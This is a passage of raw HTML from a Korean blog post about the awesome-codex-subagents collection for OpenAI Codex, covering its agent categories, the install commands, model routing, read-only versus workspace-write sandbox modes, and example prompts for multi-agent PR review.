monospace;&quot;&gt;cloud-architect&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;sre-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;incident-responder&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 4 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;품질 &amp;amp; 보안 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Quality &amp;amp; Security&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;16개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;코드 리뷰&amp;middot;보안 감사&amp;middot;테스트&amp;middot;디버깅&lt;/b&gt; 전담. PR 리뷰 시 &lt;code&gt;code-reviewer&lt;/code&gt;(품질)와 &lt;code&gt;security-auditor&lt;/code&gt;(보안)를 병렬로 실행하면 두 관점을 동시에 얻는다. &lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt; 설정 권장.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #fff0f0; border: 1px solid #ffb3b3; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;security-auditor&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;code-reviewer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;debugger&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;qa-expert&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0; border: 1px solid #ffb3b3; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;penetration-tester&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;performance-engineer&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 5 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;5&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;데이터 &amp;amp; AI &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Data &amp;amp; AI&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;12개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;ML&amp;middot;LLM&amp;middot;RAG&amp;middot;데이터 파이프라인&amp;middot;DB 최적화&lt;/b&gt; 전문가 모음. &lt;code&gt;llm-architect&lt;/code&gt;는 RAG 파이프라인 설계, &lt;code&gt;database-optimizer&lt;/code&gt;는 쿼리 튜닝에 특화되어 있다. AI 서비스 구축 시 가장 자주 호출되는 카테고리다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;llm-architect&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;data-scientist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;ml-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;postgres-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;database-optimizer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;nlp-engineer&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 6 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;6&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;개발자 경험 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Developer Experience&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;13개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;문서화&amp;middot;레거시 개선&amp;middot;툴링&amp;middot;리팩토링&lt;/b&gt; 전문가. 코드를 새로 짜는 것이 아니라 기존 코드의 품질을 높이고 유지보수를 쉽게 만드는 역할에 집중한다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;documentation-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;refactoring-specialist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;legacy-modernizer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;dx-optimizer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;git-workflow-manager&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 7 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;7&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;특수 도메인 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Specialized Domains&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;12개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;블록체인&amp;middot;게임&amp;middot;임베디드&amp;middot;모바일&lt;/b&gt; 등 범용 개발 카테고리로 커버하기 어려운 특수 도메인 전문가. 해당 영역 프로젝트가 있을 때만 선택적으로 설치하면 된다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;blockchain-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;game-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;mobile-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;electron-pro&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 8 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;8&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;비즈니스 &amp;amp; 프로덕트 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Business &amp;amp; Product&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;11개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;PM&amp;middot;비즈니스 분석&amp;middot;기술 문서&amp;middot;UX 리서치&lt;/b&gt; 역할. 개발자 혼자 PM 업무까지 겸하는 스타트업이나 1인 팀에서 활용도가 높다. 요구사항 정리나 사용자 스토리 작성에 유용하다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;product-manager&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;business-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;technical-writer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;ux-researcher&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 9 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;9&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;메타 &amp;amp; 오케스트레이션 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Meta &amp;amp; Orchestration&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #fff3cd; color: #856404; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;10개 &amp;mdash; 고급&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&quot;에이전트를 조율하는 에이전트&quot;&lt;/b&gt;. 복잡한 작업을 서브태스크로 분해하고 다른 에이전트에 위임하는 오케스트레이터 역할이다. 서브에이전트 기능에 익숙해진 후 도전하면 된다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #fff8e8; border: 1px solid #ffd77a; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;orchestrator&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;task-decomposer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;architect-reviewer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;code-mapper&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 10 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;10&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;리서치 &amp;amp; 분석 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Research &amp;amp; Analysis&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;7개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;공식 문서 수집&amp;middot;경쟁사 분석&amp;middot;트렌드 조사&lt;/b&gt; 전문가. 읽기 전용 작업에 특화되어 있어 &lt;code&gt;gpt-5.3-codex-spark&lt;/code&gt; + &lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt; 조합으로 저비용 운영이 가능하다. 블로그 팩트체크에 특히 유용하다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;docs-researcher&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;competitive-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;research-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;trend-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;market-researcher&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;설치 및 사용법 (5단계)&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 저장소 클론
git clone https://github.com/VoltAgent/awesome-codex-subagents.git
cd awesome-codex-subagents

# 2. 전역 에이전트 디렉토리 생성
mkdir -p ~/.codex/agents

# 3a. 원하는 에이전트만 선택 복사 (권장)
cp categories/01-core-development/backend-developer.toml ~/.codex/agents/
cp categories/04-quality-security/security-auditor.toml ~/.codex/agents/

# 3b. 또는 전체 복사 (136개 전부)
cp categories/**/*.toml ~/.codex/agents/

# 4. 프로젝트별로 쓰고 싶다면 (전역보다 우선 적용됨)
mkdir -p .codex/agents
cp categories/01-core-development/backend-developer.toml .codex/agents/

# 5. Codex 세션 재시작 후 호출
# &quot;backend-developer에게 POST /api/users 엔드포인트를 만들어달라고 해&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;중요: 명시적 호출이 필수다.&lt;/b&gt; Codex는 자동으로 서브에이전트를 생성하지 않는다. 프롬프트에서 직접 &quot;backend-developer에게 위임해&quot; 또는 &quot;security-auditor를 사용해서 검토해줘&quot;처럼 명시해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;4. 모델 라우팅 &amp;amp; 샌드박스 전략&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;2가지 모델 선택 기준&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;awesome-codex-subagents 컬렉션은 에이전트 역할에 따라 모델을 다르게 지정한다. GitHub README 기준 현재 컬렉션이 주로 사용하는 모델은 아래 두 가지다. 다만 공식 문서는 빠르고 저비용인 읽기 위주 작업에 pt-5.4-mini도 함께 권장하므로, 아래 표는 컬렉션 요약이지 공식 모델 매트릭스 전체는 아니다. (출처: &lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-codex-subagents README&lt;/a&gt;, &lt;a href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;적합한 에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;특성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;gpt-5.4&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;security-auditor, architect, reviewer, backend-developer&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;강력한 추론이 필요한 복잡한 분석 및 구현&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;gpt-5.3-codex-spark&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;explorer, docs-researcher, 문서 스캔, 단순 코드 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;텍스트 전용, 낮은 지연, 빠른 병렬 실행. ChatGPT Pro 전용 옵션&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;샌드박스 모드 활용법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트는 부모 세션의 샌드박스 정책을 상속하지만, TOML에서 개별 에이전트별로 오버라이드할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt; &amp;mdash; 리뷰어, 감사자, 탐색기에 사용. 코드베이스를 수정하지 않아야 할 때&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sandbox_mode = &quot;workspace-write&quot;&lt;/code&gt; &amp;mdash; 개발자, 엔지니어에 사용. 파일 생성/수정이 필요할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;비활성 스레드 승인 처리&lt;/b&gt;: 대화형 CLI에서 비활성 에이전트 스레드의 승인 요청도 표시된다. &lt;code&gt;o&lt;/code&gt; 키로 해당 스레드를 열어 검토 후 처리하면 된다. 병렬 실행 중에도 각 에이전트의 승인 요청을 개별 처리할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 5 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;5. 워크플로우 사용 예시&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;예제 1: PR 리뷰 자동화 (3인조 분업)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PR 리뷰를 단일 에이전트에 맡기면 &quot;보안 체크도 하고, 코드 품질도 보고, API 문서도 검증해&quot;라는 뭉뚱그린 요청이 된다. 역할을 분리하면 각 에이전트가 전문 관점으로 집중한다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서 PR review 패턴&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 프롬프트 예시
&quot;PR #142를 리뷰해줘.
  - pr_explorer로 변경 사항을 읽기 전용으로 탐색해
  - reviewer로 정확성과 보안을 검토해
  - docs_researcher로 프레임워크 API 사용이 문서와 맞는지 확인해
  세 결과를 종합해서 리뷰 코멘트를 작성해줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;sandbox_mode&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;추천 모델&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;pr_explorer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;변경 증거 수집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;read-only&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;reviewer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;보안/정확성 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;read-only&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;docs_researcher&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;API 문서 검증&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;read-only&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;예제 2: 버그 조사 파이프라인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서가 직접 제시하는 브라우저 디버깅 시나리오다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
